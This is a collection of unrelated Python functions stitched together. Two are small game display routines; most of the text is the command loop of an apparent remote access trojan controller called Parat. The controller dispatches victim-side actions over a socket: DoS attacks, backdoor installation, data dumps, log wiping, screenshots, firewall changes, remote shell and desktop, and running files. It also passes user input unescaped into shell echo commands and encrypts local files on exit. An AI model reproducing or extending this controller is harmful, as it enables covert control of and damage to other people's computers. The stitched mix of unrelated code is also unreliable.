def start_loop(login_obg): clear_screen() tolow = lambda i: i.lower() banner = tolow(config_file().get('cmd', 'display_banner')) randbc = True if tolow(config_file().get( 'cmd', 'banner_random_color')) == "on" else False colors = tolow(config_file().get('cmd', 'colors')) verbose = tolow(config_file().get('cmd', 'debug')) if banner == "on": print_banner(int(randbc)) try: check_update() notif_creds(colors, login_obg) parat = ParatShell() parat.check_db() parat.main_background() except Exception as e: if verbose: traceback.print_exc() pprint(colorize(str(e) + '\n', colored=colors, status="ERR"), 1) plog.error(str(e))
def _print_gui(self): clear_screen() self.player1.print_hp() print(self.player1) if self.mode == "solo": self.computer.print_hp() print(self.computer) else: self.player2.print_hp() print(self.player2)
def draw(self): "Draws the contents of the board with a border around it." width, height = self.size pixels = self.piece_pixels() ghost = self.ghost_pixels() def tile_char(coord): if pixels and coord in pixels: return "█" if ghost and coord in ghost: return "." return "░" if self[coord] else " " lib.clear_screen() board_border = f'+{"-" * width}+' print(board_border) for y in range(self.vanish_zone, height): line = "".join(tile_char(Coord(x, y)) for x in range(0, width)) print(f"|{line}|", end='') self.stats.draw(y - self.vanish_zone) print(board_border)
def ctrl_loop(self, client_id, Connection): def get_user_input(): ctrl_command = input(self.in_remote_prompt) write_history(ctrl_command.strip()) return ctrl_command.strip() def print_help(): LoopsHelp.in_controller(self) pprint( colorize(self.client[client_id][1] + '\n\n', colored=self.colors, color="LVIOLET")) def check_signal(): if signal.getsignal(signal.SIGINT) is not self.origin_sigint: signal.signal(signal.SIGINT, self.origin_sigint) def set_values(): self.direcs = ParatDirections(Connection, self.colors) self.process = ParatProcess(Connection, self.colors) self.shares = ParatSharing(Connection, self.colors) def set_ctrl_completer(): completer = auto_complete(self.target_comands) readline.set_completer(completer.complete) readline.parse_and_bind('tab: complete') def get_ready_ctrl(): current_dir = self.client[client_id][1] os.chdir(current_dir) plog.info("control loop: " + self.cdisplay[client_id]) plog.info("directory: " + current_dir) def refresh_prompt(): using_client = " " + colorize( client_id, colored=self.colors, color="LRED") self.in_remote_prompt = "\r[" + self.zom_loOp + using_client + "]# " prompt_q.put(self.in_remote_prompt) def write_history(ctrl_command): if self.last_command != ctrl_command: linux("echo '{}' >> '{}'".format(ctrl_command, self.history_path)) def get_back_to_main(): os.chdir(self.ROOT) prompt_q.put(self.in_main_prompt) plog.warning("background: main loop") self.main_background() def shift_to_other_seassion(ctrl_command): try: new_target = int(ctrl_command.split()[1]) except Exception as e: new_target = None if new_target is not None: try: new_target = int(new_target) connection = self.client[new_target][0] ClientShell.ctrl_loop(self, new_target, connection) except KeyError: show_trace(self.verbose) pprint( colorize("Client '%s' not found.\n" % new_target, colored=self.colors, status="ERR"), 1) else: pprint( colorize("usage: switch ID\n", colored=self.colors, status="INF"), 1) tolow = lambda b: b.lower() self.handler = "#DATA_HANDLER" lport = int(self.client[client_id][5]) rport = int(self.client[client_id][4]) rip = str(self.client[client_id][3]) cliuser = str(self.client[client_id][2]) get_ready_ctrl() set_ctrl_completer() while True: try: # for define process_bar.Stop at exceptions process_bar = ParatProcessBar("excepting") process_bar.Stop = True # prepare controlling module sys.stdout.flush() # check_update() # check for ctrl+c signal enabled/disabled check_signal() # preapare some values(instance) for target set_values() # update prompt buffer refresh_prompt() # keep last commands ctrl_command = get_user_input() # check ping result if cut_q.get() == "break": cut_q.task_done() break if len(ctrl_command.strip()) == 0: continue # press enter elif tolow(ctrl_command) == "background": get_back_to_main() elif tolow(ctrl_command).startswith('switch'): shift_to_other_seassion(ctrl_command) elif tolow(ctrl_command) == "clear": clear_screen() elif tolow(ctrl_command) == "help": print_help() elif tolow(ctrl_command) == "disconnect": disconnect_it(client_id, self.client, self.cdisplay, self.ROOT, plog, self.colors) break elif tolow(ctrl_command) == "remove": # disable signal and communicate for remove signal.signal(signal.SIGINT, signal.SIG_IGN) Connection.send(Encode(tolow(ctrl_command))) Connection.settimeout(5) recived_data = Decode(Connection.recv(4096)) Connection.settimeout(None) recived_data = recived_data.lower() + '\n' if 'server will remove next reboot' in recived_data: disconnect_it(client_id, self.client, self.cdisplay, self.ROOT, plog, self.colors) break elif 'permission denied' in recived_data or "error" in recived_data: pprint( colorize(recived_data, colored=self.colors, status="ERR"), 1) elif tolow(ctrl_command).startswith("sysinfo"): signal.signal(signal.SIGINT, signal.SIG_IGN) uflag = False user_profile = "USER.inf" try: update = ctrl_command.split()[1] uflag = True if update == "-u" else False except: uflag = False Connection.send(Encode(tolow("sysinfo"))) # check for first connection if uflag or not os.path.isfile(user_profile): Connection.send(Encode("#GET_INF")) text = colorize("Please wait", colored=self.colors, status="INF") process_bar = ParatProcessBar(text) process_bar.start_process() system_info = Decode(Connection.recv(4096)) process_bar.Stop = True sleep(0.2) if "ERROR" not in system_info: # recive client data while True: junk = Decode(Connection.recv(4096)) if junk == '#END_INF': system_info = system_info.rstrip() + '\n' break sleep(0.01) system_info += junk.rstrip() + '\n' else: system_info = system_info + '\n' # write data to disk with open(user_profile, "w") as info_file: info_file.write(system_info) info_file.close() process_bar.Stop = True sleep(0.2) # read & privew information with open(user_profile, 'r') as info: content = info.read() pprint('\n' + content + '\n') if self.colors else pprint( gray('\n' + content + '\n')) self.pdb.execute( "UPDATE targets SET Information=? WHERE id=?", (content, client_id)) self.pdb.commit() else: Connection.send(Encode("#NO_INF")) with open(user_profile, 'r') as info: content = info.read() pprint('\n' + content + '\n') if self.colors else pprint( gray('\n' + content + '\n')) self.pdb.execute( "UPDATE targets SET Information=? WHERE id=?", (content, client_id)) self.pdb.commit() info.close() elif tolow(ctrl_command) == 'python': head_banner = "{} use 'ctrl+d' to back parat loop\n".format( colorize("NOTE:", "LYELLOW", self.colors)) self.get_python(head_banner) elif tolow(ctrl_command) == "continue": signal.signal(signal.SIGINT, signal.SIG_IGN) tumultuous(Connection, self.handler, self.colors, client_id) elif tolow(ctrl_command).startswith("explorer"): signal.signal(signal.SIGINT, signal.SIG_IGN) ie = ParatExplorer(Connection, toarg(ctrl_command), self.colors) ie.start() elif tolow(ctrl_command).startswith("tree"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.get_tree() elif tolow(ctrl_command).startswith("cd"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.change_directory(toarg(ctrl_command)) elif tolow(ctrl_command) == "pwd": signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.pwd() elif tolow(ctrl_command).startswith("touch"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.touch_file(toarg(ctrl_command)) elif tolow(ctrl_command).startswith("rmv"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.remove(toarg(ctrl_command)) elif tolow(ctrl_command).startswith("mkdir"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.direcs.make_directory(toarg(ctrl_command)) elif tolow(ctrl_command).startswith('wget'): signal.signal(signal.SIGINT, signal.SIG_IGN) ParatWget(Connection, toarg(ctrl_command), self.colors).start() elif tolow(ctrl_command).startswith("dos"): signal.signal(signal.SIGINT, signal.SIG_IGN) dos_attack = ParatDDOS( Connection, toarg(tolow(ctrl_command)), self.colors, ) dos_attack.prepare_basics() dos_attack.start() elif tolow(ctrl_command).startswith("download"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.shares.download(toarg(ctrl_command)) elif tolow(ctrl_command).startswith("upload"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.shares.upload(toarg(ctrl_command)) elif tolow(ctrl_command).startswith("scan"): signal.signal(signal.SIGINT, signal.SIG_IGN) scan = ParatScanner(Connection, client_id, self.pdb, toarg(ctrl_command), self.colors) scan.prepare_basics() scan.start() elif tolow(ctrl_command) == "screenshot": signal.signal(signal.SIGINT, signal.SIG_IGN) scr_shot = ParatScreenshot(Connection, self.colors) scr_shot.prepare_basics() scr_shot.start() elif tolow(ctrl_command) == "rmlog": signal.signal(signal.SIGINT, signal.SIG_IGN) remove_log = ParatLogC(Connection, self.colors) remove_log.start() elif tolow(ctrl_command).startswith("uninstall"): signal.signal(signal.SIGINT, signal.SIG_IGN) ParatUninstall(Connection, toarg(ctrl_command), self.colors).start() elif tolow(ctrl_command) == "getps": signal.signal(signal.SIGINT, signal.SIG_IGN) self.process.get_all() elif tolow(ctrl_command).startswith("kill"): signal.signal(signal.SIGINT, signal.SIG_IGN) self.process.kill_process(ctrl_command.split()) elif tolow(ctrl_command).startswith("runfile"): signal.signal(signal.SIGINT, signal.SIG_IGN) execf = ParatRunFile(Connection, toarg(ctrl_command), self.colors) execf.start() elif tolow(ctrl_command).startswith("firewall"): signal.signal(signal.SIGINT, signal.SIG_IGN) pwall = ParatFirewall(Connection, toarg(tolow(ctrl_command)), self.colors) pwall.prepare_basics() pwall.start() elif tolow(ctrl_command).startswith("desktop"): signal.signal(signal.SIGINT, signal.SIG_IGN) rdp = ParatRDP(Connection, client_id, self.client[client_id][2], self.remote_ip, toarg(tolow(ctrl_command)), self.colors) rdp.prepare_basics() rdp.start() elif tolow(ctrl_command).startswith("backdoor"): signal.signal(signal.SIGINT, signal.SIG_IGN) backdoor = ParatBackdoor(Connection, client_id, self.pdb, toarg(tolow(ctrl_command)), self.colors) backdoor.prepare_basics() backdoor.start() elif tolow(ctrl_command) == "shell": signal.signal(signal.SIGINT, signal.SIG_IGN) ParatWinShell(Connection, tolow(ctrl_command), self.colors).start() elif tolow(ctrl_command).startswith("pzip"): signal.signal(signal.SIGINT, signal.SIG_IGN) pzip = ParatZipUtils(Connection, toarg(ctrl_command), self.colors) pzip.prepare_basics() pzip.start() elif tolow(ctrl_command).startswith("msgbox"): signal.signal(signal.SIGINT, signal.SIG_IGN) message_box = ParatMsgBox(Connection, toarg(ctrl_command), self.colors) message_box.prepare_basics() message_box.start() elif tolow(ctrl_command).startswith("dump"): signal.signal(signal.SIGINT, signal.SIG_IGN) dump_obj = ParatDumper(Connection, client_id, self.pdb, toarg(ctrl_command), self.colors) dump_obj.prepare_basics() dump_obj.start() elif tolow(ctrl_command) == "shutdown" or tolow( ctrl_command) == "reboot": prompt_message = colorize( "You may lost this session (if not backdoor), " + \ "Are you sure to {} target(y/N)?: ".format(ctrl_command), colored=self.colors, status="WAR" ) while True: x = self.wash(input(prompt_message)) if x == 'y' or x == 'yes': # disable signal and communicate for remove signal.signal(signal.SIGINT, signal.SIG_IGN) ParatPower(Connection, ctrl_command, self.colors).start() Connection.close() # get-back, make-prompt, log-client, clean-cache os.chdir(self.ROOT) prompt_q.put(self.in_main_prompt) plog.warning(ctrl_command + ": " + self.cdisplay[client_id]) del self.client[client_id] del self.cdisplay[client_id] echo_des_message(client_id, lport, cliuser, rip, rport, self.colors) # log information plog.info(ctrl_command + " -> main loop") self.main_background() if x == 'n' or x == 'no' or x == '': break else: pass else: signal.signal(signal.SIGINT, signal.SIG_IGN) Connection.send(Encode(tolow(ctrl_command))) response = str(Decode(Connection.recv(4096))) if self.colors: pprint('\n' + response + '\n\n') else: pprint(gray('\n' + response)) self.last_command = ctrl_command except (ValueError, socket.error) as e: if not process_bar.Stop: process_bar.Stop = True show_trace(self.verbose) # 32 -> Broken pipe <IOError> # 104 -> Connection reset by peer if e.errno == 104 or e.errno == 32: pprint( colorize("Client diconnected.\n", colored=self.colors, status="ERR"), 1) # delete values and log informations del self.cdisplay[client_id] del self.client[client_id] plog.error(str(e)) plog.info("socket error -> [main loop]") break else: pprint( colorize(str(e) + '\n\n', colored=self.colors, status="ERR"), 1) # log any exceptino accurded plog.error(str(e)) sleep(0.1) except KeyboardInterrupt: pprint('\n') except EOFError as e: if not process_bar.Stop: process_bar.Stop = True show_trace(self.verbose) plog.error(str(e)) sleep(0.1) except Exception as error: if not process_bar.Stop: process_bar.Stop = True # except and log unwanted problems show_trace(self.verbose) pprint( colorize(str(error) + '\n', colored=self.colors, status="ERR"), 1) plog.error(str(error)) sleep(0.1)
def main_background(self): self.oldstdin = sys.stdin tolow = lambda b: b.lower() while True: try: self.main_loop_heads() check_history_exist(self.history_path) if not sys.stdin.closed: order_cm = input(self.in_main_prompt).strip() else: self.close() if self.last_command != order_cm: linux("echo '{}' >> '{}'".format(order_cm, self.history_path)) sys.stdin = self.oldstdin # press enter if len(order_cm) == 0: continue elif tolow(order_cm) == 'help': LoopsHelp.in_main(self) elif order_cm.startswith('!'): self.shortcut(order_cm) elif tolow(order_cm).startswith('banner'): self.update_banner(order_cm) elif tolow(order_cm) == 'clear': clear_screen() elif tolow(order_cm) == 'history': echo_history(self.history_path) elif tolow(order_cm).startswith('cd'): self.change_dir(order_cm) elif tolow(order_cm) == 'pwd': pprint(os.getcwd() + '\n') elif tolow(order_cm) == 'config': linux("nano '{}'".format(self.conf_path)) self.refresh_all() elif tolow(order_cm) == 'python': self.get_python(None) elif tolow(order_cm).startswith('listen'): argument = toarg(order_cm) self.parser.listen_method(argument, self.used_ports, Listen_Class, plog, self.colors) elif tolow(order_cm).startswith('generate'): argument = toarg(order_cm) generator = ParatGenerate() self.parser.generate_method(argument, generator, self.config, self.port, plog, self.colors) elif tolow(order_cm).startswith('setting'): argument = toarg(order_cm) self.parser.setting_method(argument, self.pdb, self.config, self.conf_path, plog, self.colors) elif tolow(order_cm) == 'version': print_version() elif tolow(order_cm) == 'author': show_info() elif tolow(order_cm) == 'exit -y': self.do_exit() elif tolow(order_cm) == 'exit': if len(self.client) == 0: if self.login.check(): for path, folders, files in os.walk( os.path.abspath('')): [ self.login.encrypt('/'.join([path, f])) for f in files ] self.do_exit() else: self.exit_with_active_seassion() elif tolow(order_cm).startswith('session'): argument = toarg(order_cm) self.parser.sessions_method(argument, self.client, self.cdisplay, self.cli_counter, ClientShell, self.ROOT, prompt_q, self.in_main_prompt, plog, self.colors) elif tolow(order_cm) == 'off': linux("shutdown -h now") else: linux(order_cm) self.last_command = order_cm except ValueError as e: show_trace(self.verbose) plog.info(str(e)) #; break sleep(0.1) self.close() except EOFError as e: plog.info(str(e)) #; break sleep(0.1) except Exception as e: # except unknown errors show_trace(self.verbose) plog.error(str(e)) pprint( colorize(str(e) + '\n', colored=self.colors, status="ERR"), 1) sleep(0.1) except KeyboardInterrupt: pprint('\n')